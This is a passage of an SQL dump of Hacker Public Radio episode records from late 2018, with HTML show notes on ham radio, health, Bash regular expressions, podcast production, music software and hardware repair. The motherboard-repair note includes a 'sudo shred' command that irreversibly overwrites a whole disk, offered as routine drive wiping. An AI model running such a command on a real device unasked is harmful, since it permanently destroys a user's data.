class=\"uri\">https://en.wikipedia.org/wiki/Amplitude_modulation</a></p></li>\r\n<li><p>Frequency Modulation (FM)<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Frequency_modulation\" class=\"uri\">https://en.wikipedia.org/wiki/Frequency_modulation</a></p></li>\r\n<li><p>Frequency Shift Keying (FSK)<br />\r\nNote the CW ident di da dit or dot dash dot is not as I thought the letter “K” in Morse code, silly me, it’s actually the letter “R”. Told you I wasn’t great at Morse.<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Frequency-shift_keying\" class=\"uri\">https://en.wikipedia.org/wiki/Frequency-shift_keying</a></p></li>\r\n</ul>\r\n<p>The “T-F Set” button is used to set the Transmit frequency when working in split mode. In split mode, you can set the radio to transmits on one frequency and receives on a different frequency.</p>',201,43,1,'CC-BY-SA','Amateur, Radio, Ham',0,0,1),
(2665,'2018-10-19','Exercise and Diet',1041,'Exercise and Diet are primary to health','<p>The best things you can do to maximize your health are to watch what you eat and make sure you get exercise. These are some of the primary tools in my kit for staying healthy and living a long life.</p>\r\n<ul>\r\n<li><a href=\"https://www.amazon.com/Dr-Bernsteins-Diabetes-Solution-Achieving-ebook/dp/B004QZ9PC4/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1483459301&amp;sr=1-1&amp;keywords=dr+bernstein+diabetes+solution\" class=\"uri\">https://www.amazon.com/Dr-Bernsteins-Diabetes-Solution-Achieving-ebook/dp/B004QZ9PC4/ref=sr_1_1?s=books&amp;ie=UTF8&amp;qid=1483459301&amp;sr=1-1&amp;keywords=dr+bernstein+diabetes+solution</a></li>\r\n<li><a href=\"https://www.diabetes-book.com/\" class=\"uri\">https://www.diabetes-book.com/</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=354\" class=\"uri\">https://www.palain.com/?page_id=354</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Medicine, Exercise, Diet',0,0,1),
(2675,'2018-11-02','YouTube Playlists',767,'How to solve a problem with following YouTube channels','<p>I am subscribed to a number of YouTube channels, and I found a need to be able to watch all of the videos in order for certain channels. This describes how to do it.</p>\r\n<ul>\r\n<li><a href=\"https://chrome.google.com/webstore/detail/iridium-for-youtube/gbjmgndncjkjfcnpfhgidhbgokofegbl?hl=en\" class=\"uri\">https://chrome.google.com/webstore/detail/iridium-for-youtube/gbjmgndncjkjfcnpfhgidhbgokofegbl?hl=en</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=372\" class=\"uri\">https://www.palain.com/?page_id=372</a></li>\r\n</ul>\r\n',198,0,0,'CC-BY-SA','YouTube, Channels, Playlists',0,0,1),
(2685,'2018-11-16','Scientific and Medical Reports',854,'We need to be careful about evaluating news reports about medical studies','<p>We get bombarded with breathless news stories about medical breakthroughs that may not be as reliable as they are presented. This begins our look at what is reliable and what you need to watch out for.</p>\r\n<ul>\r\n<li><a href=\"https://journalistsresource.org/studies/society/news-media/health-research-misinformation-tips\" class=\"uri\">https://journalistsresource.org/studies/society/news-media/health-research-misinformation-tips</a></li>\r\n<li><a href=\"https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0196346\" class=\"uri\">https://journals.plos.org/plosone/article?id=10.1371/journal.pone.0196346</a></li>\r\n<li><a href=\"https://journals.plos.org/\" class=\"uri\">https://journals.plos.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ArXiv\" class=\"uri\">https://en.wikipedia.org/wiki/ArXiv</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=356\" class=\"uri\">https://www.palain.com/?page_id=356</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Medical Studies, News Reports',0,0,1),
(2695,'2018-11-30','Problems with Studies',798,'Some principles for evaluating medical studies','<p>All medical studies are not alike. Some are of higher quality than others, and the conclusions they reach need to be evaluated based on some principles of good research. Here we take a look at some warning signs of bad or unreliable studies.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Replication_crisis\" class=\"uri\">https://en.wikipedia.org/wiki/Replication_crisis</a></li>\r\n<li><a href=\"https://www.wired.com/story/social-science-reproducibility\" class=\"uri\">https://www.wired.com/story/social-science-reproducibility</a></li>\r\n<li><a href=\"https://www.sciencemag.org/news/2017/01/rigorous-replication-effort-succeeds-just-two-five-cancer-papers\" class=\"uri\">https://www.sciencemag.org/news/2017/01/rigorous-replication-effort-succeeds-just-two-five-cancer-papers</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Andrew_Wakefield\" class=\"uri\">https://en.wikipedia.org/wiki/Andrew_Wakefield</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Hwang_Woo-suk#Controversies\" class=\"uri\">https://en.wikipedia.org/wiki/Hwang_Woo-suk#Controversies</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Yoshiki_Sasai\" class=\"uri\">https://en.wikipedia.org/wiki/Yoshiki_Sasai</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Data_dredging\" class=\"uri\">https://en.wikipedia.org/wiki/Data_dredging</a></li>\r\n<li><a href=\"https://www.youtube.com/watch?v=Gx0fAjNHb1M\" class=\"uri\">https://www.youtube.com/watch?v=Gx0fAjNHb1M</a></li>\r\n<li><a href=\"https://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.1002106\" class=\"uri\">https://journals.plos.org/plosbiology/article?id=10.1371/journal.pbio.1002106</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=358\" class=\"uri\">https://www.palain.com/?page_id=358</a></li>\r\n</ul>',198,100,0,'CC-BY-SA','Health, Medicine, Medical Studies, Evaluating Studies',0,0,1),
(2705,'2018-12-14','Evidence-based Medicine',1013,'Medicine should be based on objective scientific evidence','<p>Basing medical care and treatment on the scientific evidence should be the norm, but frequently it is not. Doctors may treat based on how they have always done it, or how other doctors do it (i.e. best practices), but there is a movement now to reorient medicine to follow the best scientific guidelines.</p>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Evidence-based_medicine\" class=\"uri\">https://en.wikipedia.org/wiki/Evidence-based_medicine</a></li>\r\n<li><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3789163/\" class=\"uri\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3789163/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/N_ray\" class=\"uri\">https://en.wikipedia.org/wiki/N_ray</a></li>\r\n<li><a href=\"https://www.palain.com/?page_id=360\" class=\"uri\">https://www.palain.com/?page_id=360</a></li>\r\n</ul>\r\n',198,100,0,'CC-BY-SA','Health, Medicine, Evidence, Science',0,0,1),
(2669,'2018-10-25','Additional ancillary Bash tips - 12',1702,'Making decisions in Bash (part 4)','<h1 id=\"additional-ancillary-bash-tips---12\">Additional ancillary Bash tips - 12</h1>\r\n<h2 id=\"making-decisions-in-bash\">Making decisions in Bash</h2>\r\n<p>This is the twelfth episode in the <em>Bash Tips</em> sub-series. It is the fourth of a group of shows about making decisions in Bash.</p>\r\n<p>In the last three episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. We looked at conditional expressions and all of the operators Bash provides to do this. We concentrated particularly on string comparisons which use <em>glob</em> and <em>extended glob</em> patterns.</p>\r\n<p>Now we want to look at the other form of string comparison, using <em>regular expressions</em>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2669/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Conditional-Constructs\">“Bash Conditional Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Conditional-Expressions\">“Bash Conditional Expressions”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Pattern-Matching\">“Bash Pattern Matching”</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">“<em>POSIX Shell Command Language</em>”</a> - documentation of all of the POSIX features mentioned in this series.</p></li>\r\n<li><a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/basedefs/V1_chap09.html#tag_09_04\">“Extended Regular Expressions”</a></li>\r\n<li><p><a href=\"https://tldp.org/LDP/abs/html/x17129.html\">“A Brief Introduction to Regular Expressions”</a></p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n</ol></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2669/bash12_ex1.sh\">bash12_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2669/bash12_ex2.sh\">bash12_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2669/bash12_ex3.sh\">bash12_ex3.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2669/bash12_ex4.sh\">bash12_ex4.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2669/bash12_ex5.sh\">bash12_ex5.sh</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,test,regular expression',0,0,1),
(2657,'2018-10-09','Why we are all going to shit in 30 years due to computers',1555,'Some thoughts about the increasing impact of automation','<p>Now, this is not a doom and gloom lecture.</p>\r\n<p>Actually it is a talk about what is going to happen in the next 30 years.</p>\r\n<p>It is a talk about what is called “postcapitalism”.</p>\r\n<p>It is a talk about how almost all jobs are going to disappear due to automation. But also how we are going to think about this this and come up with solutions.</p>\r\n<p>It talks about the three big challenges we need to face.</p>\r\n<p>And yes, this involves you as well!</p>\r\n',369,0,1,'CC-BY-SA','prediction,post-capitalism',0,0,1),
(2658,'2018-10-10','Questions on podcast production',2784,'Al asks Dave questions about podcast production','<h1>HPR Chat with Al</h1>\r\n<p>Al asks Dave a number of questions about podcast audio recording and post-production.</p>\r\n<h2>Al is thinking of doing National Podcast Post Month in November</h2>\r\n<p>National Podcast Post Month (or <a href=\"https://napodpomo.org/\">NaPodPoMo</a>) is a challenge in a similar vein to National Novel Writing Month (or <a href=\"https://nanowrimo.org/\">NaNoWriMo</a>) in which participants are challenged to produce and publish a piece of audio as a podcast, every day for the month of November.</p>\r\n<h2>Bad podcast audio</h2>\r\n<p>Audio quality is as important as the content that\'s being presented. Bad audio is going to be what causes new podcasters the most damage in subscriber numbers. An example of good audio is the true crime podcast, <a href=\"https://oneeyeopen.podbean.com/\">One Eye Open</a>, which Dave started listening to a couple of weeks ago. He also picked up a couple of other true crime podcasts as a result of listening to One Eye Open where the audio quality is so bad, that they can\'t be heard!</p>\r\n<p><a href=\"https://en.wikipedia.org/wiki/Loudness\">Loudness</a> is a measurement of how loud something is perceived to be. Levelling is a process of ensuring that individual tracks in a podcasts are an an equivalent level, but also the podcast overall is at an equivalent level to other podcasts that have been levelled the same way.</p>\r\n<h2>Our setups</h2>\r\n<p>Al and Dave have a very similar microphone setup.</p>\r\n<ul>\r\n<li><a href=\"https://www.amazon.co.uk/Samson-SAQ2U-Microphone-Recording-Pack/dp/B001R747SG/\">Samson Q2U</a> - XLR and USB capable microphone</li>\r\n<li>Pop filters and wind screens</li>\r\n<li>Boom arm</li>\r\n<li>Shock mount</li>\r\n</ul>\r\n<h2>What is a compressor</h2>\r\n<p>The non-technical definition is that it brings up the quiet bits and brings down the louder bits so that your voice has less of a variance if you shout or whisper.</p>\r\n<h2>Different microphone types</h2>\r\n<ul>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Microphone#Cardioid\">Cardioid</a> - focuses on sounds coming from in front of the mic</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Microphone#Omnidirectional\">Omnidirectional</a> - can theoretically pick up sound from all directions</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Microphone#Dynamic_microphone\">Dynamic</a> - well suited for vocal use</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Microphone#Condenser_microphone\">Condenser</a> - overall better quality sound than dynamic, but more susceptible to background noise, so requires a really quiet studio environment</li>\r\n</ul>\r\n<h2>Your level</h2>\r\n<p>You can measure your own level in <a href=\"https://www.audacityteam.org/\">Audacity</a> - make sure you stay in the green! If you stray into yellow or even red, either lower your level or move slightly away from the mic.</p>\r\n<h2>Other people\'s levels</h2>\r\n<p>Concentrate on your own, get others to manage theirs. If you\'re recording multiple tracks, it <em>can</em> be managed in post-production, but once it\'s been merged into a single track it\'s virtually impossible.</p>\r\n<h2>File formats</h2>\r\n<ul>\r\n<li>FLAC/ALAC - <a href=\"https://en.wikipedia.org/wiki/Lossless_compression#Audio\">lossless</a> formats</li>\r\n<li>MP3/OGG/M4A - <a href=\"https://en.wikipedia.org/wiki/Data_compression#Audio\">lossy</a> formats</li>\r\n</ul>\r\n<p>Record in a lossless format, and do your edits and post-production in a lossless format. Only <a href=\"https://en.wikipedia.org/wiki/Transcoding\">transcode</a> to a lossy format once you\'re ready to publish your final file.</p>\r\n<h2>Monitoring</h2>\r\n<p>If you\'re recording yourself, and you don\'t want to hear yourself through headphones, take the headphones off.</p>\r\n<p>If you\'re recording with someone else who is not in the same room, you are better off hearing yourself through your headphones at the same level as the person you\'re talking to.</p>\r\n<h2>Post-production</h2>\r\n<ul>\r\n<li>Use <a href=\"https://www.audacityteam.org/\">Audacity</a> to:\r\n<ul>\r\n<li>align the tracks so that everyone is in the right place</li>\r\n<li>convert coughs, sneezes, burps, keyboard sounds, mouse clicks, etc to silence</li>\r\n</ul></li>\r\n<li>Use <a href=\"https://auphonic.com\">Auphonic</a> to:\r\n<ul>\r\n<li>level the individual tracks so that everyone sounds as &quot;<a href=\"https://en.wikipedia.org/wiki/Loudness\">loud</a>&quot; as anyone else</li>\r\n<li>merge the individual tracks into a single output file (a Multitrack production)</li>\r\n</ul></li>\r\n<li>Dave also gives a specific use case for adding music into the final mix.</li>\r\n</ul>\r\n<h2>NaPodPoMo revisited</h2>\r\n<p>This will be Al\'s first attempt at NaPodPoMo, but not for Dave. Dave wants to make sure that he plans for this year, so he doesn\'t run out of material on day 7!!</p>\r\n<p>Dave will interview another NaPodPoMo participant at least once a week during November. Looks like Al will be one of them!</p>\r\n<ul>\r\n<li>Al\'s NaPodPoMo <a href=\"https://al.christman.co.uk/\">website</a> and <a href=\"https://al.christman.co.uk/feed/mp3/\">RSS feed</a></li>\r\n<li>Dave\'s NaPodPoMo <a href=\"https://thelovebug.org/napodpomo-2018/\">website</a> and <a href=\"https://thelovebug.org/feed/podcast/napodpomo-2018\">RSS feed</a></li>\r\n</ul>\r\n<h2>Dave\'s final thought</h2>\r\n<p>Podcasting isn\'t rocket science. You don\'t need lots of expensive equipment to produce a podcast. You just need something to record into (e.g. a mobile phone or portable recorder) and somewhere to host it. You can host on your own website or on one of a number of free services, like <a href=\"https://anchor.fm\">Anchor</a>, <a href=\"https://audioboom.com/\">AudioBoom</a>, or indeed <a href=\"https://hackerpublicradio.org\">Hacker Public Radio</a>!</p>\r\n<h2>The obligatory podcast plug</h2>\r\n<ul>\r\n<li><a href=\"https://www.adminadminpodcast.co.uk\">Admin Admin Podcast</a></li>\r\n<li><a href=\"https://thebugcast.org\">The Bugcast</a></li>\r\n</ul>\r\n<h2>Errata</h2>\r\n<ul>\r\n<li>Dave originally said that the pickup pattern that picks up 360 degrees was &quot;unidirectional&quot; - it should have been &quot;omnidirectional&quot; and has been fixed in the edit, but it sounds like it was added in afterwards... which, of course, it was!!</li>\r\n</ul>\r\n',290,0,0,'CC-BY-SA','Admin Admin Podcast',0,0,1),
(2661,'2018-10-15','My Music Production Setup',679,'ClaudioM shares his music production setup.','<h2 id=\"previous-music-production-setup\">Previous Music Production Setup</h2>\r\n<ul>\r\n<li>Master Tracks Pro: <a href=\"https://en.wikipedia.org/wiki/Master_Tracks_Pro\" class=\"uri\">https://en.wikipedia.org/wiki/Master_Tracks_Pro</a></li>\r\n<li>Kawai K4 synthesizer: <a href=\"https://www.polynominal.com/site/studio/gear/synth/kawai-k4/kawai-k4.html\" class=\"uri\">https://www.polynominal.com/site/studio/gear/synth/kawai-k4/kawai-k4.html</a></li>\r\n<li>Apple GarageBand: <a href=\"https://en.wikipedia.org/wiki/GarageBand\" class=\"uri\">https://en.wikipedia.org/wiki/GarageBand</a></li>\r\n</ul>\r\n<h2 id=\"current-music-production-setup\">Current Music Production Setup</h2>\r\n<ul>\r\n<li>Qtractor: <a href=\"https://en.wikipedia.org/wiki/Qtractor\" class=\"uri\">https://en.wikipedia.org/wiki/Qtractor</a></li>\r\n<li>JACK: <a href=\"https://en.wikipedia.org/wiki/JACK_Audio_Connection_Kit\" class=\"uri\">https://en.wikipedia.org/wiki/JACK_Audio_Connection_Kit</a></li>\r\n<li>QJackCtl: <a href=\"https://en.wikipedia.org/wiki/Qjackctl\" class=\"uri\">https://en.wikipedia.org/wiki/Qjackctl</a></li>\r\n<li>Hydrogen Drum Machine: <a href=\"https://en.wikipedia.org/wiki/Hydrogen_(software)\" class=\"uri\">https://en.wikipedia.org/wiki/Hydrogen_(software)</a></li>\r\n<li>Yoshimi: <a href=\"https://en.wikipedia.org/wiki/Yoshimi_(synthesizer)\" class=\"uri\">https://en.wikipedia.org/wiki/Yoshimi_(synthesizer)</a></li>\r\n<li>Amsynth: <a href=\"https://en.wikipedia.org/wiki/Amsynth\" class=\"uri\">https://en.wikipedia.org/wiki/Amsynth</a></li>\r\n<li>Fluidsynth: <a href=\"https://en.wikipedia.org/wiki/FluidSynth\" class=\"uri\">https://en.wikipedia.org/wiki/FluidSynth</a></li>\r\n<li>WhySynth: <a href=\"https://linuxsynths.com/WhySynthBanksDemos/whysynth.html\" class=\"uri\">https://linuxsynths.com/WhySynthBanksDemos/whysynth.html</a></li>\r\n<li>QMidiArp: <a href=\"https://qmidiarp.sourceforge.net/\" class=\"uri\">https://qmidiarp.sourceforge.net/</a></li>\r\n<li>Hexter: <a href=\"https://linuxsynths.com/HexterPatchesDemos/hexter.html\" class=\"uri\">https://linuxsynths.com/HexterPatchesDemos/hexter.html</a></li>\r\n<li>Calf Plugins: <a href=\"https://en.wikipedia.org/wiki/Calf_Studio_Gear\" class=\"uri\">https://en.wikipedia.org/wiki/Calf_Studio_Gear</a></li>\r\n<li>Audacity: <a href=\"https://en.wikipedia.org/wiki/Audacity_(audio_editor)\" class=\"uri\">https://en.wikipedia.org/wiki/Audacity_(audio_editor)</a></li>\r\n</ul>\r\n<h2 id=\"notable-mentions\">Notable Mentions</h2>\r\n<ul>\r\n<li>LMMS: <a href=\"https://en.wikipedia.org/wiki/LMMS\" class=\"uri\">https://en.wikipedia.org/wiki/LMMS</a></li>\r\n</ul>\r\n<h2 id=\"linux-oriented-links\">Linux-oriented Links</h2>\r\n<ul>\r\n<li>Debian Ports page: <a href=\"https://www.ports.debian.org\" class=\"uri\">https://www.ports.debian.org</a></li>\r\n<li>Debian Ports PowerPC64: <a href=\"https://wiki.debian.org/PPC64\" class=\"uri\">https://wiki.debian.org/PPC64</a></li>\r\n<li>Fedora: <a href=\"https://getfedora.org\" class=\"uri\">https://getfedora.org</a></li>\r\n</ul>\r\n',152,0,0,'CC-BY-SA','music, multimedia, audio, linux, musicproduction, foss, floss',0,0,1),
(2679,'2018-11-08','Extra ancillary Bash tips - 13',2202,'Making decisions in Bash (part 5)','<h1 id=\"extra-ancillary-bash-tips---13\">Extra ancillary Bash tips - 13</h1>\r\n<h2 id=\"making-decisions-in-bash\">Making decisions in Bash</h2>\r\n<p>This is the thirteenth episode in the <em>Bash Tips</em> sub-series. It is the fifth and final of a group of shows about making decisions in Bash.</p>\r\n<p>In the last four episodes we saw the types of test Bash provides, and we looked briefly at some of the commands that use these tests. We looked at conditional expressions and all of the operators Bash provides to do this. We concentrated particularly on string comparisons which use <em>glob</em> and <em>extended glob</em> patterns then we devoted an episode to Bash <em>regular expressions</em>.</p>\r\n<p>Now we want to look at the final topic within regular expressions, the use of <em>capture groups</em>.</p>\r\n<h2 id=\"long-notes\">Long notes</h2>\r\n<p>I have provided detailed notes as usual for this episode, and these can be <a href=\"https://hackerpublicradio.org/eps/hpr2679/full_shownotes.html\">viewed here</a>.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html\">“<em>GNU BASH Reference Manual</em>”</a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Conditional-Constructs\">“Bash Conditional Constructs”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bash-Conditional-Expressions\">“Bash Conditional Expressions”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Bourne-Shell-Builtins\">“Bourne Shell Builtins”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#The-Set-Builtin\">“The <code>set</code> Builtin”</a></li>\r\n<li><a href=\"https://www.gnu.org/software/bash/manual/bash.html#Pattern-Matching\">“Bash Pattern Matching”</a></li>\r\n</ul></li>\r\n<li><p><a href=\"https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html\">“<em>POSIX Shell Command Language</em>”</a> - documentation of all of the POSIX features mentioned in this series.</p></li>\r\n<li><p><a href=\"https://hackerpublicradio.org/series.php?id=42\">HPR series: <em>Bash Scripting</em></a></p></li>\r\n<li>Previous episodes under the heading <em>Bash Tips</em>:\r\n<ol>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1648\">HPR episode 1648 “<em>Bash parameter manipulation</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1843\">HPR episode 1843 “<em>Some Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1884\">HPR episode 1884 “<em>Some more Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1903\">HPR episode 1903 “<em>Some further Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=1951\">HPR episode 1951 “<em>Some additional Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2045\">HPR episode 2045 “<em>Some other Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2278\">HPR episode 2278 “<em>Some supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2293\">HPR episode 2293 “<em>More supplementary Bash tips</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2639\">HPR episode 2639 “<em>Some ancillary Bash tips - 9</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2649\">HPR episode 2649 “<em>More ancillary Bash tips - 10</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2659\">HPR episode 2659 “<em>Further ancillary Bash tips - 11</em>”</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2669\">HPR episode 2669 “<em>Additional ancillary Bash tips - 12</em>”</a></li>\r\n</ol></li>\r\n<li>Resources:\r\n<ul>\r\n<li>Examples: <a href=\"https://hackerpublicradio.org/eps/hpr2679/bash13_ex1.sh\">bash13_ex1.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2679/bash13_ex2.sh\">bash13_ex2.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2679/bash13_ex3.sh\">bash13_ex3.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2679/bash13_ex4.sh\">bash13_ex4.sh</a>, <a href=\"https://hackerpublicradio.org/eps/hpr2679/bash13_ex4.txt\">bash13_ex4.txt</a></li>\r\n</ul></li>\r\n</ul>',225,42,1,'CC-BY-SA','Bash,extended test,regular expression,capture group,BASH_REMATCH,back reference',0,0,1),
(2690,'2018-11-23','A chat about the HiveMQ Broker',425,'Ken talks with Florian Raschbichler and Anja Helmbrecht-Schaar about HiveMQ','<p>\r\nI had the opportunity to chat with Florian Raschbichler and Anja Helmbrecht-Schaar from the company <a href=\"https://www.dc-square.de/en/\">dc-square GmbH</a>, who are developers of the <a href=\"https://www.hivemq.com/\">HiveMQ</a> Broker.\r\n</p>\r\n<p>\r\nIf you are new to <a href=\"https://en.wikipedia.org/wiki/MQTT\">MQTT</a> they have <a href=\"https://www.hivemq.com/blog/mqtt-essentials/page/2/\">the ultimate kickstart for MQTT beginners</a>. They also maintain an <a href=\"https://www.hivemq.com/mqtt-client-library-encyclopedia\">MQTT Client Library Encyclopedia</a>\r\n</p>\r\n\r\n\r\n<h3>Links</h3>\r\n<ul>\r\n<li><a href=\"https://www.hivemq.com/\">https://www.hivemq.com/</a></li>\r\n<li><a href=\"https://www.dc-square.de/en/\">https://www.dc-square.de/en/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Comparison_of_MQTT_Implementations\">https://en.wikipedia.org/wiki/Comparison_of_MQTT_Implementations</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/MQTT\">https://en.wikipedia.org/wiki/MQTT</a></li>\r\n<li><a href=\"https://www.hivemq.com/blog/mqtt-essentials/page/2/\">https://www.hivemq.com/blog/mqtt-essentials/page/2/</a></li>\r\n<li><a href=\"https://github.com/hivemq\">https://github.com/hivemq</a></li>\r\n<li><a href=\"https://www.hivemq.com/mqtt-client-library-encyclopedia\">https://www.hivemq.com/mqtt-client-library-encyclopedia</a></li>\r\n</ul>',30,78,0,'CC-BY-SA','MQTT, HiveMQ, dc-square GmbH',0,0,1),
(2662,'2018-10-16','Repairing a motherboard',196,'I repair a motherboard and get a old tower working again.','<h2 id=\"continued-from-hpr2549-dvd-ripping-using-old-hardware\">Continued from hpr2549 :: DVD ripping using old hardware</h2>\r\n<p>Acquired new user tower, replaced old tower with blown caps<br />\r\nDell Pentium 4 CPU 3.20GHz, 2Gb RAM</p>\r\n<pre><code>sudo shred -n 5 -vz /dev/sdX\r\n\r\n  -n, --iterations=N \r\n  -v, --verbose\r\n    show progress \r\n  -z, --zero\r\n    add a final overwrite with zeros to hide shredding</code></pre>\r\n<p>Used same Slackware USB from old tower</p>\r\n<p>Used soldering iron from Amazon - Weller WLC100 40-Watt Soldering Station<br />\r\n<a href=\"https://www.amazon.com/gp/product/B000AS28UC/ref=oh_aui_detailpage_o02_s00?ie=UTF8&amp;psc=1\" class=\"uri\">https://www.amazon.com/gp/product/B000AS28UC/ref=oh_aui_detailpage_o02_s00?ie=UTF8&amp;psc=1</a></p>\r\n<p><a href=\"https://photos.app.goo.gl/VpRxvZLBy49PCo5DA\" class=\"uri\">https://photos.app.goo.gl/VpRxvZLBy49PCo5DA</a></p>\r\n',318,0,1,'CC-BY-SA','hardware, circuit board, repair',0,0,1),
(2663,'2018-10-17','Short review on a 2.5 inch SSD/HDD caddy',202,'Tony reviews a Short review on a 2.5 inch SSD/HDD caddy from ebay','<p>Well Ken made another call for shows and as my recent interview series has come to an end by the time you listen to this here is a short review of a USB3 2.5inch HDD/SSD caddy I got from E-bay a few weeks ago.</p>\r\n<p>As many of you who have listened to my previous ramblings know I frequent a local Computer auction and recently they have had some cheap 128Gig SSD’s for sale and I managed to pick several up at a good price. After using some to upgrade some desktop PC’s to SSD I had a couple of these spare and as I have USB3 on my main laptop thought it would be good to be able to use one or two of these as portable storage or even for boot drives to test out odd Linux distro or 2.</p>\r\n<p>So I purchased a caddy off that font of all things techie E-bay for £5.50, link here:<br />\r\n<a 